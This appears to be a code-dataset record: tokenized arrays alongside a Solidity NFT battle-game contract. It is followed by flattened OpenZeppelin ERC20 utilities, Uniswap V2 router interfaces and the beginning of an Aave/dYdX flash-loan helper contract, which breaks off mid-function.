[ 1, 10102, 1725, 3784, 316, 6835, 364, 1517, 389, 20077, 745, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 4463, 14667, 273, 389, 8949, 300, 389, 21386, 6275, 300, 20190, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "hardhat/console.sol"; // NFT contract to inherit from. import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; // Helper functions OpenZeppelin provides. import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; // Helper to encode in Base64 import "./libraries/Base64.sol"; contract NFTGame is ERC721 { // Character's attributes struct CharacterAttributes { uint characterIndex; string name; string imageURI; uint hp; uint maxHp; uint attackDamage; } // Array that hold default data of characters CharacterAttributes[] defaultCharacters; // BigBosss's Attributes struct BigBoss { string name; string imageURI; uint hp; uint maxHp; uint attackDamage; } BigBoss public bigBoss; // Token Id using Counters for Counters.Counter; Counters.Counter private _tokenIds; // Mapping from NFTs tokenId to that NFTs attributes mapping(uint256 => CharacterAttributes) public nftHolderAttributes; // Mapping from an address to the NFTs tokenId mapping(address => uint256) nftHolders; // Events event CharacterNFTMinted(address sender, uint256 tokenId, uint256 characterIndex); event AttackComplete(uint newBossHp, uint newPlayerHp); // Pass data into the contract when it is created constructor( string[] memory characterNames, string[] memory characterImageURIs, uint[] memory characterHp, uint[] memory characterAttackDmg, string memory bossName, string memory bossImageURI, uint bossHp, uint bossAttackDamage ) ERC721 ("Sorcerers", "SORC") { // Initialize the boss bigBoss = BigBoss({ name : bossName, imageURI : bossImageURI, hp : bossHp, maxHp : bossHp, attackDamage : bossAttackDamage }); console.log("Done initializing boss %s w/ HP %s, img %s", bigBoss.name, bigBoss.hp, bigBoss.imageURI); // Loop through all characters, and save their values in contract for (uint i = 0; i < characterNames.length; i++) { defaultCharacters.push( CharacterAttributes({ characterIndex : i, name : characterNames[i], imageURI : characterImageURIs[i], hp : characterHp[i], maxHp : characterHp[i], attackDamage : characterAttackDmg[i] }) ); CharacterAttributes memory c = defaultCharacters[i]; console.log("Done Creating %s with HP %s, img URI %s", c.name, c.hp, c.imageURI); } // Incerement tokenIds so that my first NFT has an Id of 1 _tokenIds.increment(); } // Mint nft based on the characterId function mintCharacterNFT (uint256 _characterIndex) external { // Get current tokenId uint256 newItemId = _tokenIds.current(); // Mint NFT _safeMint(msg.sender, newItemId); // Map tokenId => their character attributes nftHolderAttributes[newItemId] = CharacterAttributes({ characterIndex : _characterIndex, name : defaultCharacters[_characterIndex].name, imageURI : defaultCharacters[_characterIndex].imageURI, hp: defaultCharacters[_characterIndex].hp, maxHp: defaultCharacters[_characterIndex].maxHp, attackDamage: defaultCharacters[_characterIndex].attackDamage }); console.log("Minted NFT with tokenId %s and character index %s", newItemId, _characterIndex); // Map address => NFT tokenId nftHolders[msg.sender] = newItemId; // Increment tokenId _tokenIds.increment(); // Emit character minted event emit CharacterNFTMinted(msg.sender, newItemId, _characterIndex); } // Setup tokenURI function tokenURI (uint256 _tokenId) public view override returns (string memory) { CharacterAttributes memory charAttributes = nftHolderAttributes[_tokenId]; string memory strHp = Strings.toString(charAttributes.hp); string memory strMaxHp = Strings.toString(charAttributes.maxHp); string memory strAttackDamage = Strings.toString(charAttributes.attackDamage); string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "', charAttributes.name, ' -- NFT #: ', Strings.toString(_tokenId), '", "description": "This is an NFT that lets people play in the game Metaverse Sorcerers!", "image": "', charAttributes.imageURI, '", "attributes": [ { "trait_type": "Health Points", "value": ',strHp,', "max_value":',strMaxHp,'}, { "trait_type": "Attack Damage", "value": ', strAttackDamage,'} ]}' ) ) ) ); string memory output = string( abi.encodePacked("data:application/json;base64,", json) ); return output; } function attackBoss () public { // Get the state of player's nft uint256 nftTokenIdOfPlayer = nftHolders[msg.sender]; //// Storage instead of memory, so that we can change the global value CharacterAttributes storage player = nftHolderAttributes[nftTokenIdOfPlayer]; console.log("\nPlayer w/ character %s about to attack. Has %s HP and %s AD", player.name, player.hp, player.attackDamage); console.log("Boss %s has %s HP and %s AD", bigBoss.name, bigBoss.hp, bigBoss.attackDamage); // Make sure the player's nft has more than 0 Hp require(player.hp > 0, "Error : Character has no HP:("); // Make sure the boss has more than 0 Hp require(bigBoss.hp > 0, "Error : Big Boss has no Hp!"); // Allow player's character to attack big boss if (bigBoss.hp < player.attackDamage) { bigBoss.hp = 0; } else { bigBoss.hp = bigBoss.hp - player.attackDamage; } // Allow big boss to attack player's character if (player.hp < bigBoss.attackDamage) { player.hp = 0; } else { player.hp = player.hp - bigBoss.attackDamage; } console.log("Player attacked boss. New boss hp: %s", bigBoss.hp); console.log("Boss attacked player. New player hp: %s\n", player.hp); // Emit attack complete event emit AttackComplete(bigBoss.hp, player.hp); } function checkIfPlayerHasNFT () public view returns (CharacterAttributes memory) { // Get tokenId of the user's character id uint256 userNftTokenId = nftHolders[msg.sender]; // If user has a tokenId in the map, return their character if (userNftTokenId > 0) { return nftHolderAttributes[userNftTokenId]; } else { CharacterAttributes memory emptyStruct; return emptyStruct; } } // Retrieve all default characters function getAllDefaultCharacters() public view returns (CharacterAttributes[] memory) { return defaultCharacters; } // Retrieve the big boss function getBigBoss() public view returns (BigBoss memory) { return bigBoss; } }
Initialize the boss Loop through all characters, and save their values in contract
) ERC721 ("Sorcerers", "SORC") { bigBoss = BigBoss({ name : bossName, imageURI : bossImageURI, hp : bossHp, maxHp : bossHp, attackDamage : bossAttackDamage }); console.log("Done initializing boss %s w/ HP %s, img %s", bigBoss.name, bigBoss.hp, bigBoss.imageURI); for (uint i = 0; i < characterNames.length; i++) { defaultCharacters.push( CharacterAttributes({ characterIndex : i, name : characterNames[i], imageURI : characterImageURIs[i], hp : characterHp[i], maxHp : characterHp[i], attackDamage : characterAttackDmg[i] }) ); CharacterAttributes memory c = defaultCharacters[i]; console.log("Done Creating %s with HP %s, img URI %s", c.name, c.hp, c.imageURI); } }
14,122,149
[ 1, 7520, 326, 324, 8464, 9720, 3059, 777, 3949, 16, 471, 1923, 3675, 924, 316, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 4232, 39, 27, 5340, 7566, 55, 280, 2750, 414, 3113, 315, 55, 916, 39, 7923, 288, 203, 3639, 5446, 38, 8464, 273, 4454, 38, 8464, 12590, 203, 5411, 508, 294, 324, 8464, 461, 16, 203, 5411, 1316, 3098, 294, 324, 8464, 2040, 3098, 16, 203, 5411, 16460, 294, 324, 8464, 44, 84, 16, 203, 5411, 943, 44, 84, 294, 324, 8464, 44, 84, 16, 203, 5411, 13843, 40, 301, 410, 294, 324, 8464, 3075, 484, 40, 301, 410, 203, 3639, 15549, 203, 3639, 2983, 18, 1330, 2932, 7387, 22584, 324, 8464, 738, 87, 341, 19, 670, 52, 738, 87, 16, 3774, 738, 87, 3113, 5446, 38, 8464, 18, 529, 16, 5446, 38, 8464, 18, 15373, 16, 5446, 38, 8464, 18, 2730, 3098, 1769, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 3351, 1557, 18, 2469, 31, 277, 27245, 288, 203, 5411, 805, 11600, 18, 6206, 12, 203, 7734, 6577, 2498, 12590, 203, 10792, 3351, 1016, 294, 277, 16, 203, 10792, 508, 294, 3351, 1557, 63, 77, 6487, 203, 10792, 1316, 3098, 294, 3351, 2040, 1099, 2520, 63, 77, 6487, 203, 10792, 16460, 294, 3351, 44, 84, 63, 77, 6487, 203, 10792, 943, 44, 84, 294, 3351, 44, 84, 63, 77, 6487, 203, 10792, 13843, 40, 301, 410, 294, 3351, 3075, 484, 40, 81, 75, 63, 77, 65, 203, 7734, 289, 13, 203, 5411, 11272, 203, 203, 5411, 6577, 2498, 3778, 276, 273, 805, 11600, 63, 77, 15533, 203, 5411, 2983, 18, 1330, 2932, 7387, 21837, 738, 87, 598, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./interfaces/vesper/IVesperPool.sol"; import "./interfaces/aave/IAave.sol"; import "./interfaces/dydx/ISoloMargin.sol"; /** * @title FlashLoanHelper:: This contract does all heavy lifting to get flash loan via Aave and DyDx. * @dev End user has to override _flashLoanLogic() function to perform logic after flash loan is done. * Also needs to approve token to aave and dydx via _approveToken function. * 2 utility internal functions are also provided to activate/deactivate flash loan providers. * Utility function are provided as internal so that end user can choose controlled access via public functions. */ abstract contract FlashLoanHelper { using SafeERC20 for IERC20; AaveLendingPoolAddressesProvider internal aaveAddressesProvider; address internal constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; uint256 public dyDxMarketId; bytes32 private constant AAVE_PROVIDER_ID = 0x0100000000000000000000000000000000000000000000000000000000000000; bool public isAaveActive = false; bool public isDyDxActive = false; constructor(address _aaveAddressesProvider) { require(_aaveAddressesProvider != address(0), "invalid-aave-provider"); aaveAddressesProvider = AaveLendingPoolAddressesProvider(_aaveAddressesProvider); } function _updateAaveStatus(bool _status) internal { isAaveActive = _status; } function _updateDyDxStatus(bool _status, address _token) internal { if (_status) { dyDxMarketId = _getMarketIdFromTokenAddress(SOLO, _token); } isDyDxActive = _status; } /// @notice Approve all required tokens for flash loan function _approveToken(address _token, uint256 _amount) internal { IERC20(_token).safeApprove(SOLO, _amount); IERC20(_token).safeApprove(aaveAddressesProvider.getLendingPool(), _amount); } /// @dev Override this function to execute logic which uses flash loan amount function _flashLoanLogic(bytes memory _data, uint256 _repayAmount) internal virtual; /***************************** Aave flash loan functions ***********************************/ bool private awaitingFlash = false; /** * @notice This is entry point for Aave flash loan * @param _token Token for which we are taking flash loan * @param _amountDesired Flash loan amount * @param _data This will be passed downstream for processing. It can be empty. */ function _doAaveFlashLoan( address _token, uint256 _amountDesired, bytes memory _data ) internal returns (uint256 _amount) { require(isAaveActive, "aave-flash-loan-is-not-active"); AaveLendingPool _aaveLendingPool = AaveLendingPool(aaveAddressesProvider.getLendingPool()); AaveProtocolDataProvider _aaveProtocolDataProvider = AaveProtocolDataProvider(aaveAddressesProvider.getAddress(AAVE_PROVIDER_ID)); // Check token liquidity in Aave (uint256 _availableLiquidity, , , , , , , , , ) = _aaveProtocolDataProvider.getReserveData(_token); if (_amountDesired > _availableLiquidity) { _amountDesired = _availableLiquidity; } address[] memory assets = new address[](1); assets[0] = _token; uint256[] memory amounts = new uint256[](1); amounts[0] = _amountDesired; // 0 = no debt, 1 = stable, 2 = variable uint256[] memory modes = new uint256[](1); modes[0] = 0; // Anyone can call aave flash loan to us, so we need some protection awaitingFlash = true; // function params: receiver, assets, amounts, modes, onBehalfOf, data, referralCode _aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), _data, 0); _amount = _amountDesired; awaitingFlash = false; } /// @dev Aave will call this function after doing flash loan function executeOperation( address[] calldata, /*_assets*/ uint256[] calldata _amounts, uint256[] calldata _premiums, address _initiator, bytes calldata _data ) external returns (bool) { require(msg.sender == aaveAddressesProvider.getLendingPool(), "!aave-pool"); require(awaitingFlash, "invalid-flash-loan"); require(_initiator == address(this), "invalid-initiator"); // Flash loan amount + flash loan fee uint256 _repayAmount = _amounts[0] + _premiums[0]; _flashLoanLogic(_data, _repayAmount); return true; } /***************************** Aave flash loan functions ends ***********************************/ /***************************** DyDx flash loan functions ***************************************/ /** * @notice This is entry point for DyDx flash loan * @param _token Token for which we are taking flash loan * @param _amountDesired Flash loan amount * @param _data This will be passed downstream for processing. It can be empty. */ function _doDyDxFlashLoan( address _token, uint256 _amountDesired, bytes memory _data ) internal returns (uint256 _amount) { require(isDyDxActive, "dydx-flash-loan-is-not-active"); // Check token liquidity in DyDx uint256 amountInSolo = IERC20(_token).balanceOf(SOLO); if (_amountDesired > amountInSolo) { _amountDesired = amountInSolo; } // Repay amount, amount with fee, can be 2 wei higher. Consider 2 wei as fee uint256 repayAmount = _amountDesired + 2; // Encode custom data for callFunction bytes memory _callData = abi.encode(_data, repayAmount); // 1. Withdraw _token // 2. Call callFunction(...) which will call loanLogic // 3. Deposit _token back Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(dyDxMarketId, _amountDesired); operations[1] = _getCallAction(_callData); operations[2] = _getDepositAction(dyDxMarketId, repayAmount); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); 